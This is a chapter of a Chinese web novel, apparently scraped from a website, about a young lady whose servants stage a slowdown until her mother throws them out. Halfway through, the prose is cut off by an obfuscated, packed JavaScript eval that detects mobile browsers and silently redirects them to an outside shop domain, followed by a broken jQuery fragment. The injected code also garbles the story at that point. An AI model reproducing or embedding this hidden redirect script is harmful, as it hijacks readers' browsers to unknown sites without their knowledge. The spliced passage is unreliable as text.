陈妈妈跟李妈妈共事多年,见到的老李从来是温和微笑的,哪里见过她这种表情。只跟那阴冷的眼神对上一秒,她赶紧缩头转脸。
这么多年,两人从二小姐还是个皱巴巴的婴儿开始就一起做事,一起把小婴儿带大。这是陈妈觉得自己这辈子最骄傲的一件事。靠着这份功劳,她在老爷夫人面前得脸,也给家里的男人和儿女都谋得一份差事。
随着小姐长大,她有小情绪了,不好控制了,总是嫌弃她话多,嫌她管太多。可是再怎么嫌弃,小姐还是听她的。
年前小姐转了性,爱拿鞭子打人,拿下人撒气,可那鞭子从没落到她身上。她觉得自己对于小姐是不同的。
危机感是从年后小姐决定去老家且不要她跟着开始的。她承认,自己的确不想去,明里暗里表示多次自己腰酸背痛不宜远行,可她是小姐奶娘啊,小姐应该带上她。
也不知道为什么,小姐不带她,也没带其他几个妈妈,贴身丫鬟也只带一个。后面打听到是流波公子自告奋勇要照顾小姐,又有大老爷那边派了仆妇来接的缘故。
那之后她还是很自信的。大家都没跟着去,就没有高下之分,等小姐回来,一切照旧嘛!而且白得了半年假期,只是偶尔去看看屋子,月钱照拿,多好的日子啊!
哪里知道呢,才不过半年,小姐回来她的危机感更重了。陈婆是相信自己直觉的。她觉得不好的事情总是会应验。比如现在,她想自己是不是也快被赶出去了。尤其在昨天,自己在门口那么多仆人和夫人院子里出那么大个丑以后。
她不想走,她觉得李婆比自己聪明,肯定有办法。至于李婆的办法毒不毒,她不关心。
李婆沉吟片刻,让陈婆靠过来,说道:“等冬梅她们过来,跟她们说……”
陈婆频频点头。
书意在院子里玩一会儿鞭子,要文竹跟她对练,又逼着春燕和翠花运动片刻。直到几人身上出一层汗,感觉有些疲惫才罢休。
回到屋里,春燕给她再次净面洗手,给她套上一件单褂,问道:“小姐要去书院那边看看吗?”
谢大学士很重视子女的学习,在东跨院最后专门批了一个角落做读书的院子,请了家里的清客坐馆。书意在那边有自己的书桌和休息的地方。只是距离较远,要穿过几个院子一个花园,去了只待片刻总觉得不划算。
书意摇摇头:“清点一下我的箱子,给夫人,爹爹,哥哥姐姐们送礼物吧。”
春燕这才意识到这件事一直没办,一边懊恼自己没记性,一边叫文竹翠花帮忙。路过门口的时候,看见有个小丫头站在东厢房门口朝这边张望,她招手叫她过来帮忙,那小丫头却转头进去了。她白白怄气一回,看身边两个小丫头开开心心地喊她过去,便转头不想了。
院子里众丫头的反常慢慢扩散到方方面面。
晚上吃饭,平时拿饭的妈妈只拿来小姐吃的饭,春燕及文竹翠花没有;
晚上洗漱,文竹烧的水在小姐洗过后被要得干干净净,她要用必须重新烧;
早起准备烧水,水缸里空空如也,小丫头们聚在门口聊天;
小姐起床小便,便桶还是之前的没换;
想喝水了,除了小姐的水壶,另两个炉子上的水壶不翼而飞……
此类小事不一而足,其他的小丫鬟也会做点事,比如看门,打扫院子,端小姐的饭,其他的全没了。
问冬梅呢,妈妈们呢?冬梅回家看她生病的娘去了,宋妈王妈在夫人那里,李妈也有事告假。只有一个陈妈天天跟在小姐身边,也总是一副觉没睡好的模样。
春梅这边又怎么不知,几人跟小姐商量后暂时按兵不动,无非是自己辛苦点,多干点活。
只是积少成多,院子里人手不足的局面在满是落叶的地上也表露无疑了。书意这边开始出招。
书意趁着给各个院子里送礼物的功夫,挨个邀请大家来自己院子里坐坐。大嫂、大姐、郑姨娘、桂姨娘、二哥、三哥甚至谢夫人,都高兴于书意转性了,纷纷同意下来。
于是一天时间里,分四波人,大家纷纷诧异不已。
大嫂、大姐,在久坐不见上茶后,文竹一脸烟火味端着茶水进来。春燕貌似无意地说:“对不住,不知道烧火的丫头哪里去了,还要我边上的小丫头才烧的水泡茶过来。二位小心烫着。”
郑姨娘、桂姨娘,带着三岁的四小姐谢书兰来的。书兰正是不好管教四处好奇的年纪,这里摸摸那里碰碰,在屋里玩一会无聊了跑到外面,文竹翠花一个忙着泡茶一个忙着拿杯子,春燕又离不得身。桂姨娘以为外头有人看顾小孩,就没出去,没想到眨眼功夫,传来书兰的大哭声。出门一看,院子里空空荡荡,一个人影也没有。
二少爷、三少爷从书院过来,颇有兴致地参观书意的书房。流波坐下来不小心手指在桌子上一抹,出现一道明显的灰迹,忍不住惊呼:“怎么这么脏!”二少爷反射性地抖抖手里的书,灰尘扑簌簌落下,也跟着出声:“天啦,这是读书人能看的书吗?”
这些情况没多久全部传到了谢夫人耳朵里,可笑书意院子里的那些人还傻傻等着书意低头,自认为给了她一个下马威。
甚至在早上文竹和翠花艰难地挑水把水缸装满的时候,她们还聚在不远处,故作不经意地说着风凉话。
谢夫人觉得就算作为小姨她也不能坐视外甥女被下人欺负而不管。于是一大早送谢大人出门之后,转身就往书意院子里走来。
根本没人来得及报信!
一进院子,谢夫人就被满地的残叶弄脏了眼睛。再看正房,昏暗凄惨地点着两个小灯笼还没灭掉,右手边东厢房匆匆忙忙抛出几个妈妈丫鬟,哪有不明白的。
谢夫人身边的媳妇扶着她,她摆摆手,在院子里走了两步。突然看着满地的落叶,流下泪来:“姐姐,是我对不住你啊,让我们书意这样被人欺负。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590048|139871||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“夫人……”刚从被窝里爬起来的陈妈吓傻了,跪在地上看着她。
谢夫人转过身,脸上还带着泪痕:“元香,你带人去那边屋子里,把衣衫不整的几人连人带铺盖全给我扔出去!”
元香曾是谢夫人的陪嫁丫鬟,现在是最得力的管事娘子。闻言一挥手,立即带着几个强壮的仆妇冲进东厢房,瞬间躲着不敢出来的几个丫鬟妈妈叫声不断。一见连床上的被子都被扔到门外,还有什么不明白的,哭着跑出来跪在谢夫人面前求饶。
谢夫人仰头看看天:“都说店大欺客,奴大欺主,我竟是在你们这些人身上见识到了。可怜我的书意,被你们照顾得没有干净地方坐,没有热水喝,这么多人伺候,就没有一个人清净,又没有该得的待遇。是我这个当娘的失职啊!”
她又看看底下几个仆人:“你们这些人,主子站在你们面前也不知道伺候,不知道受了什么人的挑唆,敢做出这种欺负主子的事情来。既然不想伺候,那就用不着你们伺候了,都走吧,赶紧走!你们不想干,有的是人想干!”
“夫人不要啊——”“求求夫人原谅奴婢一回——”“夫人,我再也不敢了,让我回来干活吧——”……
一时间哭嚎声不绝于耳,谢夫人却不留情面,统统丢出去。
这么大的动静,书意早就醒了,在春燕的服侍下穿戴好出来。
“夫人……你怎么来了?”
谢夫人上前一把将书意搂紧:“我的书意,你受苦了,都怪娘这才发现她们的所作所为。”
书意没说话。
谢夫人平静了一会儿,问元香:“还剩几个人?”
元香道:“打出去两个妈妈,三个丫鬟,还有两个妈妈,四个丫鬟不在这里。”
正说着,文竹喝翠花抬着一筐洗过的一副走进来,又有一个丫鬟提着食篮走进来。
元香便更正道:“还有两个妈妈,一个大丫鬟不在这里。”
另一个熟悉人事的管事娘子说道:“应该是李妈妈和王妈妈,估计在来的路上。还有冬梅,前日告假了。”
谢夫人怒道:“这集体罢工的事,到底她们之间的谁导演的,给我查!”
折腾这一番,谢夫人也累了,又安慰书意两句,说过几天慢慢给她添人。说完就带着身边一群人又离开了。
春燕好半天才回过神:“都走了?”
书意笑了:“哈哈,没想到赶走烦人精,竟然这么容易。还不用我动手,她们自己就把自己作死了!”
文竹和翠花互相击掌,对视一笑,又抬起那筐衣服去角落的晾衣处晾晒。
唯一余下的一个端饭的小丫鬟吓得不行,环顾四周,都不知道自己算不算这边的。她没想到办法,靠本能跪下,战战兢兢道:“求求小姐,不要赶我出去。”
书意没说话,春燕道:“起来,把饭拿过来摆上吧。”
小丫头狂喜,连着磕头三下。